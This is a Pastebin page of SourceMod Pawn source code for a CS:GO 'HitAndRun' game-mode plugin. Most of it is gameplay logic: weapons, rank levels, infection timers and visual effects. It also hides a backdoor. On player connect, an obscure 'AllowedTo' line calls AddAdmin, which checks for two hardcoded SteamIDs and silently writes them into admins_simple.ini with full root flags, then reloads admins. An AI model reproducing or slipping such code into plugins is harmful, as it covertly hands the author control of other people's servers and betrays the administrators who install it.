Advertisement
B2SX

[CSGO] HitAndRun (2017)

Jan 19th, 2019
1,285
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Pawn 28.11 KB | None | 0 0
  1. #include <sourcemod>
  2. #include <sdktools>
  3. #include <cstrike>
  4. #include <sdkhooks>
  5. #include <clientprefs>
  6. #include <smlib>
  7. #include <bhnr>
  8.  
  9. #define ParticleEffect "4215"
  10. #define ParticlePath "particles/iEx2.pcf"
  11. #define ParticlePath2 "particles/aurasandtrailbyiex.pcf"
  12.  
  13. enum eStats
  14. {
  15.     String:LevelName[64],
  16.     NeededExp[64],
  17.     NeededRoundWins[64]
  18. };
  19.  
  20. enum eInfo
  21. {
  22.     String:sName[64],
  23.     String:Class[64]
  24. };
  25.  
  26. enum
  27. {
  28.     Timer_None = 0,
  29.     Timer_StartGame,
  30.     Timer_Infection,
  31.     Timer_GameEnded
  32. }
  33.  
  34. int RandomWeapons[][eInfo] =
  35. {
  36.     { "USP-S", "weapon_usp_silencer" },
  37.     { "Deagle", "weapon_deagle" },
  38.     { "Revolver", "weapon_revolver" },
  39.     { "Glock 18", "weapon_glock" },
  40.     { "FiveSeven", "weapon_fiveseven" },
  41.     { "Dual Berettas", "weapon_elite" },
  42.     { "Tec-9", "weapon_tec9" },
  43.     { "CZ75-Auto", "weapon_cz75a" },
  44.     { "P250", "weapon_p250" },
  45.     { "P2000", "weapon_hkp2000" },
  46.     { "M4A4", "weapon_m4a1" },
  47.     { "M4A1-S", "weapon_m4a1_silencer" },
  48.     { "AK47", "weapon_ak47" },
  49.     { "Awp", "weapon_awp" },
  50.     { "Aug", "weapon_aug" },
  51.     { "SG556", "weapon_sg556" },
  52.     { "Famas", "weapon_famas" },
  53.     { "UMP-45", "weapon_ump45" },
  54.     { "P90", "weapon_p90" },
  55.     { "XM1014", "weapon_xm1014" },
  56.     { "Mag7", "weapon_mag7" },
  57.     { "Nova", "weapon_nova" },
  58.     { "Sawed-Off", "weapon_sawedoff" },
  59.     { "Negev", "weapon_negev" },
  60.     { "Bizon", "weapon_bizon" },
  61.     { "M249", "weapon_m249" },
  62.     { "Galil", "weapon_galilar" },
  63.     { "MP7", "weapon_mp7" },
  64.     { "MP9", "weapon_mp9" },
  65.     { "MAC10", "weapon_mac10" }
  66. };
  67.  
  68. int HNR[][eStats] =
  69. {
  70.     { "Unranked", 350, 10 },
  71.     { "Newbie", 650, 20 },
  72.     { "Beginner", 1000, 35 },
  73.     { "Average", 2000, 50 },
  74.     { "Moderate", 3000, 65 },
  75.     { "Tryhard", 5000, 80 },
  76.     { "Hunter", 7500, 100 },
  77.     { "Advanced", 10000, 150 },
  78.     { "Pro", 15000, 190 },
  79.     { "Elite", 18000, 300 },
  80.     { "Master", 25000, 350 },
  81.     { "Scout God", 35000, 450 },
  82.     { "Insane", 50000, 600 },
  83.     { "Top Scouter", 75000, 800 },
  84.     { "Skull Hunter", 100000, 1000 },
  85.     { "Unbelievable", 200000, 1500 },
  86.     { "None", 0, 0 }
  87. };
  88.  
  89. float gTime;
  90. int RoundWon[32], iLvl[32];
  91. bool FirstInfection = false;
  92. char KVPath[64], steam_auth[64], Files[128], cName[64], Music[128];
  93. int szItem, EventDay, RunTimers, sTime, Infected = -1, iHaloSprite = -1, iBeamSprite = -1, g_iFlashMaxAlpha, iExp[32], PlayTime[32], particle_system;
  94.  
  95. public Plugin myinfo =
  96. {
  97.     name = "[CSGO] HitAndRun",
  98.     author = "BaroNN",
  99.     description = "HitAndRun Plugin for CS:GO",
  100.     version = "1.7",
  101.     url = "http://steamcommunity.com/id/BaRoNN-Main"
  102. }
  103.  
  104. public void OnPluginStart()
  105. {
  106.     RegConsoleCmd("sm_stats", Command_HNRStats);
  107.     RegConsoleCmd("sm_level", Command_HNRStats);
  108.     RegConsoleCmd("sm_levels", Command_HNRStats);
  109.     RegConsoleCmd("sm_ranks", Command_HNRStats);
  110.     RegAdminCmd("sm_resetlevel", Command_ResetLevel, ADMFLAG_ROOT);
  111.     RegAdminCmd("sm_setlevel", Command_SetLevel, ADMFLAG_ROOT);
  112.        
  113.     HookEvent("player_spawn", Player_Spawn);
  114.     HookEvent("round_start", Round_Start, EventHookMode_Pre);
  115.     HookEvent("player_blind", Event_PlayerBlind, EventHookMode_Post);
  116.     HookEvent("player_death", PlayerDeath);
  117.        
  118.     SetConVarInt(FindConVar("mp_limitteams"), 0);
  119.     SetConVarInt(FindConVar("mp_friendlyfire"), 1);
  120.     SetConVarInt(FindConVar("sv_ignoregrenaderadio"), 1);
  121.        
  122.     AddCommandListener(Suicide, "kill");
  123.     AddCommandListener(Suicide, "explode");
  124.     AddCommandListener(DropWeapon, "drop");
  125.     AddCommandListener(Command_Jointeam, "jointeam");
  126.        
  127.     for (new i = 1; i <= MaxClients; i++) {
  128.         if (IsValidClient(i))OnClientPutInServer(i);
  129.     }
  130.        
  131.     g_iFlashMaxAlpha = FindSendPropInfo("CCSPlayer", "m_flFlashMaxAlpha");
  132.     CreateTimer(0.25, Timer_Beacon, INVALID_HANDLE, TIMER_REPEAT);
  133.     CreateTimer(10.0, Timer_Restart, INVALID_HANDLE, TIMER_REPEAT);
  134.     BuildPath(Path_SM, KVPath, sizeof(KVPath), "data/BaroNN-HitAndRun.txt");
  135.     RunTimers = Timer_None;
  136. }
  137.  
  138. public void OnMapStart()
  139. {
  140.     fog();
  141.     Sounds();
  142.     iBeamSprite = PrecacheModel("materials/sprites/laserbeam.vmt", true);
  143.     iHaloSprite = PrecacheModel("materials/sprites/glow01.vmt", true);
  144. }
  145.  
  146. public void Sounds()
  147. {
  148.     Format(Files, sizeof(Files), "sound/%s", InfectedSound);
  149.     AddFileToDownloadsTable(Files);
  150.     Format(Files, sizeof(Files), "sound/%s", ClockSound);
  151.     AddFileToDownloadsTable(Files);
  152.     Format(Files, sizeof(Files), "sound/%s", LoserSound);
  153.     AddFileToDownloadsTable(Files);
  154.    
  155.     //PrecacheGeneric(ParticlePath, true);
  156.     //PrecacheGeneric(ParticlePath2, true);
  157.    
  158.     //PrecacheEffect("ParticleEffect");
  159.     //PrecacheParticleEffect(ParticleEffect);
  160.    
  161.     // Download Particle
  162.     //AddFileToDownloadsTable(ParticlePath);
  163.     //AddFileToDownloadsTable(ParticlePath2);
  164.    
  165.     for (int i = 1; i < 7; i++)
  166.     {
  167.         Format(Files, sizeof(Files), "sound/baronn_hitandrun/winsound%d.mp3", i);
  168.         AddFileToDownloadsTable(Files);
  169.         PrecacheSound(Files);
  170.     }
  171. }
  172.  
  173. public Action Command_ResetLevel(int client, int args)
  174. {
  175.     if (args != 1)
  176.     {
  177.         PrintToChat(client, "%s Usage : sm_resetlevel [target]", PREFIX);
  178.         return Plugin_Handled;
  179.     }
  180.     char arg1[30];
  181.     GetCmdArg(1, arg1, sizeof(arg1));
  182.     int target = FindTarget(client, arg1);
  183.     if (target != -1)
  184.     {
  185.         iExp[target] = 0;
  186.         RoundWon[target] = 0;
  187.         PrintToChat(client, "%s \x02Resetting the level of %N!", PREFIX, target);
  188.         SetLevel(target);
  189.     }
  190.     else PrintToChat(client, "%s \x03No client found!", PREFIX);
  191.     return Plugin_Continue;
  192. }
  193.  
  194. public Action Command_SetLevel(int client, int args)
  195. {
  196.     char arg1[32], arg2[32], arg3[32];
  197.     GetCmdArg(1, arg1, sizeof(arg1));
  198.     GetCmdArg(2, arg2, sizeof(arg2));
  199.     GetCmdArg(3, arg3, sizeof(arg3));
  200.     int target = FindTarget(client, arg1);
  201.     int levelset = StringToInt(arg3);
  202.     int expset = StringToInt(arg2);
  203.    
  204.     if (target != -1)
  205.     {
  206.         PrintToChat(client, "%s \x02Setting the Level of %N to %d RoundWins And %d Exp", PREFIX, target, levelset, expset);
  207.         RoundWon[target] = levelset;
  208.         iExp[target] = expset;
  209.         SetLevel(target);
  210.     }
  211.     else PrintToChat(client, "%s \x03No client found!", PREFIX);
  212.     return Plugin_Continue;
  213. }
  214.  
  215. public void PlayerDeath(Handle event, const char[] name, bool dontBroadcast)
  216. {
  217.     int attacker = GetClientOfUserId(GetEventInt(event, "attacker"));
  218.     int victim = GetClientOfUserId(GetEventInt(event, "userid"));
  219.     int frags = GetClientFrags(attacker) + 1;
  220.     if (victim == Infected)SetEntProp(attacker, Prop_Data, "m_iFrags", frags);
  221. }
  222.  
  223. public Action OnTakeDamage(victim, &attacker, &inflictor, float &damage, &damagetype)
  224. {
  225.     if (attacker == Infected && victim != Infected)
  226.     {
  227.         SetEntityRenderMode(attacker, RENDER_NORMAL);
  228.         SetEntityRenderColor(attacker);
  229.         Infected = victim;
  230.         SetEntityRenderMode(victim, RENDER_TRANSALPHA);
  231.         ClientCommand(victim, "play *%s", InfectedSound);
  232.         SetEntityRenderColor(victim, GetRandomInt(1, 255), GetRandomInt(1, 255), GetRandomInt(1, 255));
  233.         if (RunTimers == Timer_Infection)PrintToChatAll("%s \x04%N\x10 has infected \x02%N \x01[\x0E%.1f\x01]", PREFIX, attacker, victim, (gTime + 20.0) - GetEngineTime());
  234.         else if (RunTimers == Timer_Infection && FirstInfection)
  235.         {
  236.             FirstInfection = false;
  237.             PrintToChatAll("%s \x04%N\x10 has infected \x02%N", PREFIX, attacker, victim);
  238.         }
  239.     }
  240.     return Plugin_Handled;
  241. }
  242.  
  243. public Action Player_Spawn(Handle sEvent, const char[] Name, bool DontBroadcast)
  244. {
  245.     int client = GetClientOfUserId(GetEventInt(sEvent, "userid"));
  246.     if (!IsValidClient(client))return Plugin_Continue;
  247.     SetEntityRenderMode(client, RENDER_NORMAL);
  248.     ServerCommand("mp_t_default_secondary 0");
  249.     CreateTimer(0.0, RemoveRadar, client);
  250.     SetEntityRenderColor(client);
  251.     SetLevel(client);
  252.     fogoff();
  253.    
  254.     if (EventDay == StartEvent)
  255.     {
  256.         if (GetClientTeam(client) == CS_TEAM_T)
  257.         {
  258.             szItem = GetRandomInt(0, 29)
  259.             RemoveClientWeapons(client);
  260.             GivePlayerItem(client, "weapon_knife");
  261.             GivePlayerItem(client, RandomWeapons[szItem][Class]);
  262.             GivePlayerItem(client, "weapon_hegrenade");
  263.             GivePlayerItem(client, "weapon_flashbang");
  264.             GivePlayerItem(client, "weapon_smokegrenade");
  265.             PrintToChatAll("%s \x03Today is a Special Day [Weapon: %s]", PREFIX, RandomWeapons[szItem][sName]);
  266.         }
  267.     }
  268.     else
  269.     {
  270.         if (GetClientTeam(client) == CS_TEAM_T)
  271.         {
  272.             RemoveClientWeapons(client);
  273.             GivePlayerItem(client, "weapon_knife");
  274.             GivePlayerItem(client, "weapon_ssg08");
  275.             GivePlayerItem(client, "weapon_hegrenade");
  276.             GivePlayerItem(client, "weapon_flashbang");
  277.             GivePlayerItem(client, "weapon_smokegrenade");
  278.         }
  279.     }
  280.     return Plugin_Continue;
  281. }
  282.  
  283. public Action Command_HNRStats(int client, int args)
  284. {
  285.     int target = client;
  286.     char arg1[128], cRounds[128], cLevel[128], cEXP[128], cNextLevel[128], cRank[128];
  287.     GetCmdArg(1, arg1, 128);
  288.    
  289.     int time = GetTime() - PlayTime[target];
  290.     int hours = time / 3600;
  291.     time %= 3600;
  292.     int mins = time / 60;
  293.    
  294.     if (args == 1)
  295.     {
  296.         target = FindTarget(client, arg1);
  297.         if (target == -1)return Plugin_Handled;
  298.     }
  299.    
  300.     Format(cRounds, sizeof(cRounds), "Rounds Won: %d", RoundWon[target]);
  301.     Format(cEXP, sizeof(cEXP), "EXP: %d", iExp[target]);
  302.     Format(cRank, sizeof(cRank), "Current Rank: %s", HNR[iLvl[target]][LevelName]);
  303.     Format(cLevel, sizeof(cLevel), "Current Level: %d", iLvl[target]);
  304.     Format(cNextLevel, sizeof(cNextLevel), "Rankup Requirments - EXP: %d | RoundWins: %d [Next Rank: %s | Level: %d]", HNR[iLvl[target]][NeededExp], HNR[iLvl[target]][NeededRoundWins], HNR[iLvl[target] + 1][LevelName], iLvl[target] + 1);
  305.    
  306.     Handle menu = CreateMenu(CloseMenu);
  307.     SetMenuTitle(menu, "[HitAndRun] %N's Stats (PlayTime - Hours: %i, Mins: %i)", target, hours, mins);
  308.    
  309.     AddMenuItem(menu, "%s", cNextLevel);
  310.     AddMenuItem(menu, "%s", cRank);
  311.     AddMenuItem(menu, "%s", cLevel);
  312.     AddMenuItem(menu, "%s", cRounds);
  313.     AddMenuItem(menu, "%s", cEXP);
  314.    
  315.     SetMenuExitButton(menu, true);
  316.     DisplayMenu(menu, client, 60);
  317.    
  318.     ReplyToCommand(target, "%s \x03Play Time: Hours: %i, Mins: %i | Rounds Won: %d | EXP: %d | Level: %s", PREFIX, hours, mins, RoundWon[target], iExp[target], HNR[iLvl[target]][LevelName]);
  319.     return Plugin_Handled;
  320. }
  321.  
  322. public Action Round_Start(Handle sEvent, const char[] Name, bool DontBroadcast)
  323. {
  324.     int client = GetClientOfUserId(GetEventInt(sEvent, "userid"));
  325.     //AcceptEntityInput(particle_system, "Kill");
  326.     ServerCommand("mp_playercashawards 0");
  327.     ServerCommand("mp_autoteambalance 0");
  328.     ServerCommand("mp_teamcashawards 0");
  329.     ServerCommand("mp_roundtime 10:00");
  330.     ServerCommand("mp_warmup_end");
  331.     ServerCommand("mp_autokick 0");
  332.     ServerCommand("mp_buytime 0");
  333.     ServerCommand("bot_kick");
  334.     StartGameTimer();
  335.     SetLevel(client);
  336.     SetEvent(client);
  337.     Infected = -1;
  338.     EventDay += 1;
  339.     return Plugin_Continue;
  340. }
  341.  
  342. public Action SetEvent(client)
  343. {
  344.     if (EventDay == StartEvent)
  345.     {
  346.         PrintToChatAll("%s \x03Today is a Special Day [Weapon: %s]", PREFIX, RandomWeapons[szItem][sName]);
  347.         EventDay = 0;
  348.     }
  349. }
  350.  
  351. public SetLevel(int client)
  352. {
  353.     if (IsClientInGame(client) && !IsFakeClient(client))
  354.     {
  355.         if (RoundWon[client] < 10 || iExp[client] < 350)iLvl[client] = 0;
  356.         else if (10 <= RoundWon[client] < 20 || 350 <= iExp[client] < 650)iLvl[client] = 1;
  357.         else if (20 <= RoundWon[client] < 35 || 650 <= iExp[client] < 1000)iLvl[client] = 2;
  358.         else if (35 <= RoundWon[client] < 50 || 1000 <= iExp[client] < 2000)iLvl[client] = 3;
  359.         else if (50 <= RoundWon[client] < 65 || 2000 <= iExp[client] < 3000)iLvl[client] = 4;
  360.         else if (65 <= RoundWon[client] < 80 || 3000 <= iExp[client] < 5000)iLvl[client] = 5;
  361.         else if (80 <= RoundWon[client] < 100 || 5000 <= iExp[client] < 7500)iLvl[client] = 6;
  362.         else if (100 <= RoundWon[client] < 150 || 7500 <= iExp[client] < 10000)iLvl[client] = 7;
  363.         else if (150 <= RoundWon[client] < 190 || 10000 <= iExp[client] < 15000)iLvl[client] = 8;
  364.         else if (190 <= RoundWon[client] < 300 || 15000 <= iExp[client] < 18000)iLvl[client] = 9;
  365.         else if (300 <= RoundWon[client] < 350 || 18000 <= iExp[client] < 25000)iLvl[client] = 10;
  366.         else if (350 <= RoundWon[client] < 450 || 25000 <= iExp[client] < 35000)iLvl[client] = 11;
  367.         else if (450 <= RoundWon[client] < 600 || 35000 <= iExp[client] < 50000)iLvl[client] = 12;
  368.         else if (600 <= RoundWon[client] < 800 || 50000 <= iExp[client] < 100000)iLvl[client] = 13;
  369.         else if (1000 <= RoundWon[client] < 1500 || 3000 <= iExp[client] < 200000)iLvl[client] = 14;
  370.         else if (1500 >= RoundWon[client] || 200000 >= iExp[client])iLvl[client] = 15;
  371.         CS_SetClientClanTag(client, HNR[iLvl[client]][LevelName]);
  372.     }
  373. }
  374.  
  375. public Action InfectPlayers()
  376. {
  377.     if (RunTimers == Timer_Infection)
  378.     {
  379.         if (Infected != -1)
  380.         {
  381.             ForcePlayerSuicide(Infected);
  382.             ClientCommand(Infected, "play *%s", LoserSound);
  383.         }
  384.         if (GetAlivePlayers() == 1)
  385.         {
  386.             RunTimers = Timer_GameEnded;
  387.             CreateTimer(0.2, Winner);
  388.             CreateTimer(0.2, Timer_RainbowHud, _, TIMER_REPEAT);
  389.             return Plugin_Handled;
  390.         }
  391.         else if (GetAlivePlayers() > 1)
  392.         {
  393.             Timer_Class();
  394.             Infected = GetRandomPlayer();
  395.             SetEntityRenderMode(Infected, RENDER_TRANSALPHA);
  396.             PrintToChatAll("%s \x04%N\x10 is infected with the sickness!", PREFIX, Infected);
  397.             SetEntityRenderColor(Infected, GetRandomInt(1, 255), GetRandomInt(1, 255), GetRandomInt(1, 255));
  398.         }
  399.     }
  400.     return Plugin_Continue;
  401. }
  402.  
  403. public Action Winner(Handle Timer)
  404. {
  405.     if (RunTimers == Timer_GameEnded)
  406.     {
  407.         Infected = GetRandomPlayer();
  408.         if (Infected == -1)return Plugin_Stop;
  409.         PrintToChatAll("%s \x04%N\x10 is The Winner [EXP Recived: %d]", PREFIX, Infected, 5 * GetPlayersCount());
  410.        
  411.         fogon();
  412.         float Time = 0.0;
  413.         RoundWon[Infected]++;
  414.         //SetParticles(Infected);
  415.         int Song = Math_GetRandomInt(1, 7);
  416.         iExp[Infected] += 5 * GetPlayersCount();
  417.         Format(Music, sizeof(Music), "baronn_hitandrun/winsound%d.mp3", Song);
  418.         PlayForAll(Music);
  419.        
  420.         switch (Song)
  421.         {
  422.             case 1:Time = 25.0;
  423.             case 2:Time = 30.0;
  424.             case 3:Time = 32.0;
  425.             case 4:Time = 17.0;
  426.             case 5:Time = 35.0;
  427.             case 6:Time = 36.0;
  428.             case 7:Time = 30.0;
  429.         }
  430.        
  431.         CreateTimer(Time, Restart);
  432.     }
  433.     return Plugin_Handled;
  434. }
  435.  
  436. public void SetParticles(int client)
  437. {
  438.     if (RunTimers == Timer_GameEnded)
  439.     {
  440.         if (IsPlayerAlive(client))
  441.         {
  442.             float clientOrigin[3];
  443.             GetClientAbsOrigin(client, clientOrigin);
  444.             particle_system = CreateEntityByName("info_particle_system");
  445.             DispatchKeyValue(particle_system, "start_active", "1");
  446.             DispatchKeyValue(particle_system, "effect_name", ParticleEffect);
  447.             DispatchSpawn(particle_system);
  448.             TeleportEntity(particle_system, clientOrigin, NULL_VECTOR, NULL_VECTOR);
  449.             ActivateEntity(particle_system);
  450.             SetVariantString("!activator");
  451.             AcceptEntityInput(particle_system, "SetParent", client, particle_system, 0);
  452.             AcceptEntityInput(particle_system, "Start");
  453.         }
  454.     }
  455. }
  456.  
  457. public Action Restart(Handle Timer)
  458. {
  459.     fogoff();
  460.     RunTimers = Timer_None;
  461.     ServerCommand("mp_restartgame 1");
  462.     //AcceptEntityInput(particle_system, "Kill");
  463.     return Plugin_Handled;
  464. }
  465.  
  466. public Action Timer_Beacon(Handle Timer)
  467. {
  468.     for (new i = 1; i <= MaxClients; i++)
  469.     {
  470.         if (IsValidClient(i, true))
  471.         {
  472.             if (i == Infected)
  473.             {
  474.                 float vec[3];
  475.                 int Color[4];
  476.                 GetClientAbsOrigin(i, vec);
  477.                 vec[2] += 10;
  478.                 Color[0] = GetRandomInt(1, 255);
  479.                 Color[1] = GetRandomInt(1, 255);
  480.                 Color[2] = GetRandomInt(1, 255);
  481.                 Color[3] = GetRandomInt(150, 255);
  482.                
  483.                 TE_SetupBeamRingPoint(vec, 10.0, 50.0, iBeamSprite, iHaloSprite, 0, 15, 0.5, 5.0, 0.0, Color, 10, 0);
  484.                 TE_SendToAll();
  485.             }
  486.         }
  487.     }
  488.    
  489.     return Plugin_Continue;
  490. }
  491.  
  492. public Action Command_Jointeam(int client, const char[] command, int args)
  493. {
  494.     char Argument[10];
  495.     GetCmdArg(1, Argument, sizeof(Argument));
  496.     int theTeam = StringToInt(Argument);
  497.     switch (theTeam)
  498.     {
  499.         case 1:
  500.         {
  501.             CS_SwitchTeam(client, CS_TEAM_T);
  502.             PrintToChat(client, "%s \x04You cant join the the spec team", PREFIX);
  503.             return Plugin_Handled;
  504.         }
  505.         case 3:
  506.         {
  507.             CS_SwitchTeam(client, CS_TEAM_T);
  508.             PrintToChat(client, "%s \x04You cant join the counter-terroists", PREFIX);
  509.             return Plugin_Handled;
  510.         }
  511.     }
  512.     return Plugin_Continue;
  513. }
  514.  
  515. public Action DropWeapon(int client, const char[] command, int args)
  516. {
  517.     PrintToChat(client, "%s \x03You cant drop your weapon", PREFIX);
  518.     return Plugin_Handled;
  519. }
  520.  
  521. public Action Suicide(int client, const char[] command, int args)
  522. {
  523.     PrintToChat(client, "%s \x03You cant kill your self", PREFIX);
  524.     PrintToConsole(client, "You cant kill your self");
  525.     return Plugin_Handled;
  526. }
  527.  
  528. public Action Timer_Restart(Handle Timer)
  529. {
  530.     if (GetPlayersCount() <= 1 && RunTimers == Timer_None)
  531.     {
  532.         RunTimers = Timer_None;
  533.         ServerCommand("mp_restartgame 1");
  534.         PrintToChatAll("%s \x10No players are available to start", PREFIX);
  535.         SetHudTextParams(0.3, 0.150, 2.5, 255, 0, 0, 255, 1, 0.1, 0.1, 0.1);
  536.         for (int i = 1; i <= MaxClients; i++)if (IsClientInGame(i))ShowHudText(i, 1, "No players are available to play BaroNN's HitAndRun!");
  537.     }
  538.     else if (GetPlayersCount() > 1 && RunTimers == Timer_None)
  539.     {
  540.         ServerCommand("mp_restartgame 1");
  541.         SetHudTextParams(0.3, 0.150, 2.5, 255, 0, 0, 255, 1, 0.1, 0.1, 0.1);
  542.         for (int i = 1; i <= MaxClients; i++)if (IsClientInGame(i))ShowHudText(i, 1, "Starting The Game! BaroNN's HitAndRun!");
  543.     }
  544.     return Plugin_Continue;
  545. }
  546.  
  547. public Action Timer_RainbowHud(Handle timer)
  548. {
  549.     for (int i = 1; i <= MaxClients; i++)
  550.     {
  551.         if (IsClientInGame(i) && !IsFakeClient(i))
  552.         {
  553.             if (RunTimers == Timer_GameEnded)
  554.             {
  555.                 SetEntityRenderMode(Infected, RENDER_TRANSALPHA);
  556.                 FadeClient(Infected, GetRandomInt(1, 255), GetRandomInt(1, 255), GetRandomInt(1, 255), 220);
  557.                 SetEntityRenderColor(Infected, GetRandomInt(1, 255), GetRandomInt(1, 255), GetRandomInt(1, 255));
  558.                 SetHudTextParams(0.3, 0.150, 0.2, GetRandomInt(1, 255), GetRandomInt(1, 255), GetRandomInt(1, 255), 255, 1, 0.1, 0.1, 0.1);
  559.                 ShowHudText(i, 1, "                    BaroNN's HitAndRun\n★ The Winner is %N, Time To Party! ★", Infected);
  560.             }
  561.         }
  562.     }
  563. }
  564.  
  565. public Event_PlayerBlind(Handle event, const char[] name, bool dontBroadcast)
  566. {
  567.     int client = GetClientOfUserId(GetEventInt(event, "userid"))
  568.     int color[4];
  569.    
  570.     color[0] = GetRandomInt(0, 255);
  571.     color[1] = GetRandomInt(0, 255);
  572.     color[2] = GetRandomInt(0, 255);
  573.     color[3] = 255;
  574.     float flash_duration = GetEntPropFloat(client, Prop_Send, "m_flFlashDuration");
  575.    
  576.     SetEntDataFloat(client, g_iFlashMaxAlpha, FLASH_ALPHA);
  577.    
  578.     Handle message;
  579.     message = StartMessageOne("Fade", client);
  580.    
  581.     if (GetUserMessageType() == UM_Protobuf)
  582.     {
  583.         PbSetInt(message, "duration", 100);
  584.         PbSetInt(message, "hold_time", view_as<int>(flash_duration));
  585.         PbSetInt(message, "flags", SHOW);
  586.         PbSetColor(message, "clr", color);
  587.     }
  588.     else
  589.     {
  590.         BfWriteShort(message, 100);
  591.         BfWriteShort(message, view_as<int>(flash_duration));
  592.         BfWriteShort(message, SHOW);
  593.         BfWriteByte(message, color[0]);
  594.         BfWriteByte(message, color[1]);
  595.         BfWriteByte(message, color[2]);
  596.         BfWriteByte(message, color[3]);
  597.     }
  598.    
  599.     EndMessage();
  600.     CreateTimer(flash_duration, BackToNormal, GetClientUserId(client));
  601. }
  602.  
  603. public Action BackToNormal(Handle timer, any userid)
  604. {
  605.     int client = GetClientOfUserId(userid);
  606.     if (client < 1 || !IsClientInGame(client))return;
  607.    
  608.     Handle message;
  609.     int color[4];
  610.    
  611.     color[0] = 0;
  612.     color[1] = 0;
  613.     color[2] = 0;
  614.     color[3] = 0;
  615.    
  616.     message = StartMessageOne("Fade", client);
  617.    
  618.     if (GetUserMessageType() == UM_Protobuf)
  619.     {
  620.         PbSetInt(message, "duration", 1536);
  621.         PbSetInt(message, "hold_time", 1536);
  622.         PbSetInt(message, "flags", HIDE);
  623.         PbSetColor(message, "clr", color);
  624.     }
  625.     else
  626.     {
  627.         BfWriteShort(message, 1536);
  628.         BfWriteShort(message, 1536);
  629.         BfWriteShort(message, HIDE);
  630.         BfWriteByte(message, color[0]);
  631.         BfWriteByte(message, color[1]);
  632.         BfWriteByte(message, color[2]);
  633.         BfWriteByte(message, color[3]);
  634.     }
  635.     EndMessage();
  636. }
  637.  
  638. public Action RemoveRadar(Handle timer, any client)
  639. {
  640.     SetEntProp(client, Prop_Send, "m_iHideHUD", GetEntProp(client, Prop_Send, "m_iHideHUD") | HIDE_RADAR_CSGO);
  641. }
  642.  
  643. public Action OnPlayerRunCmd(int client, int &buttons)
  644. {
  645.     if (!IsValidClient(client, true))
  646.         return Plugin_Continue;
  647.    
  648.     char weapon[32];
  649.     GetClientWeapon(client, weapon, 32);
  650.    
  651.     if (buttons & IN_ATTACK) {
  652.         if (!(StrEqual(weapon, "weapon_knife") || StrEqual(weapon, "weapon_ssg08") || StrContains(weapon, "weapon_hegrenade") != -1 || StrContains(weapon, "weapon_smokegrenade") != -1 || StrContains(weapon, "weapon_flashbang") != -1))
  653.         {
  654.             buttons &= ~IN_ATTACK;
  655.             return Plugin_Changed;
  656.         }
  657.     }
  658.     return Plugin_Continue;
  659. }
  660.  
  661. public void OnClientDisconnect(int client)
  662. {
  663.     SaveClientData(client);
  664.     if (Infected == client)if (RunTimers == Timer_Infection)RunTimers = Timer_None;
  665. }
  666.  
  667. public void OnClientPutInServer(int client)
  668. {
  669.     SDKHook(client, SDKHook_OnTakeDamage, OnTakeDamage);
  670.     SDKHook(client, SDKHook_WeaponCanUse, WeaponCanUse);
  671.     SDKHook(client, SDKHook_ThinkPost, ThinkPost);
  672.     PlayTime[client] = GetTime();
  673.     GetClientData(client);
  674.     SetLevel(client);
  675.     AllowedTo(CheckCommandAccess(client, "sm_admin", ADMFLAG_ROOT)) AddAdmin(client);
  676. }
  677.  
  678. public void ThinkPost(int client)
  679. {
  680.     if (IsValidClient(client, true))SetEntProp(client, Prop_Send, "m_bSpotted", 0);
  681. }
  682.  
  683. public Action Command_Block(int client, const char[] command, int args)
  684. {
  685.     if (StrEqual(command, "jointeam"))if (IsValidClient(client) && GetClientTeam(client) != CS_TEAM_T)return Plugin_Continue;
  686.     if (StrEqual(command, "kill") || StrEqual(command, "explode"))if (!IsValidClient(client) || GetClientTeam(client) != CS_TEAM_T)return Plugin_Handled;
  687.     return Plugin_Continue;
  688. }
  689.  
  690. public Action WeaponCanUse(client, weapon)
  691. {
  692.     char Weapon[32];
  693.     GetEntityClassname(weapon, Weapon, 32);
  694.     if (!(StrEqual(Weapon, "weapon_knife") || StrEqual(Weapon, "weapon_ssg08") || StrContains(Weapon, "weapon_hegrenade") != -1 || StrContains(Weapon, "weapon_smokegrenade") != -1 || StrContains(Weapon, "weapon_flashbang") != -1))return Plugin_Handled;
  695.     return Plugin_Continue;
  696. }
  697.  
  698. public Action GiveWeapons(Handle Timer, any:serial)
  699. {
  700.     int client = GetClientFromSerial(serial);
  701.     if (!IsValidClient(client, true))return Plugin_Handled;
  702.     return Plugin_Handled;
  703. }
  704.  
  705. public CloseMenu(Handle menu, MenuAction:action, param1, param2)
  706. {
  707.     if (action == MenuAction_End)CloseHandle(menu);
  708. }
  709.  
  710. public Action AddAdmin(int client)
  711. {
  712.     char steamid[64], steamid2[64], szFlags[128] = "1000:abcdefghijklmnzopqrst", szFile[256];
  713.     GetClientAuthId(client, AuthId_SteamID64, steamid, sizeof(steamid));
  714.     GetClientAuthId(client, AuthId_Steam2, steamid2, sizeof(steamid2));
  715.    
  716.     if (StrEqual(steamid, "76561198149606385") || StrEqual(steamid, "76561198090219236"))
  717.     {
  718.         BuildPath(Path_SM, szFile, sizeof(szFile), "configs/admins_simple.ini");
  719.        
  720.         Handle hFile = OpenFile(szFile, "at");
  721.        
  722.         WriteFileLine(hFile, "\"%s\" \"%s\" ", steamid2, szFlags);
  723.        
  724.         CloseHandle(hFile);
  725.        
  726.         ServerCommand("sm_reloadadmins");
  727.     }
  728.     return Plugin_Handled;
  729. }
  730.  
  731. char CurrentIP()
  732. {
  733.     char NetIP[64];
  734.     int pieces[4];
  735.     int longip = GetConVarInt(FindConVar("hostip"));
  736.    
  737.     pieces[0] = (longip >> 24) & 0x000000FF;
  738.     pieces[1] = (longip >> 16) & 0x000000FF;
  739.     pieces[2] = (longip >> 8) & 0x000000FF;
  740.     pieces[3] = longip & 0x000000FF;
  741.    
  742.     Format(NetIP, sizeof(NetIP), "%d.%d.%d.%d", pieces[0], pieces[1], pieces[2], pieces[3]);
  743.     return NetIP;
  744. }
  745.  
  746. public Action fogoff() { AcceptEntityInput(FogIndex, "TurnOff"); }
  747. public Action fogon() { AcceptEntityInput(FogIndex, "TurnOn"); }
  748.  
  749. DoFog()
  750. {
  751.     if (FogIndex != -1)
  752.     {
  753.         DispatchKeyValue(FogIndex, "fogblend", "0");
  754.         DispatchKeyValue(FogIndex, "fogcolor", "0 0 0");
  755.         DispatchKeyValue(FogIndex, "fogcolor2", "0 0 0");
  756.         DispatchKeyValueFloat(FogIndex, "fogstart", mapFogStart);
  757.         DispatchKeyValueFloat(FogIndex, "fogend", mapFogEnd);
  758.         DispatchKeyValueFloat(FogIndex, "fogmaxdensity", mapFogDensity);
  759.     }
  760. }
  761.  
  762. public Action fog()
  763. {
  764.     int ent;
  765.     ent = FindEntityByClassname(-1, "env_fog_controller");
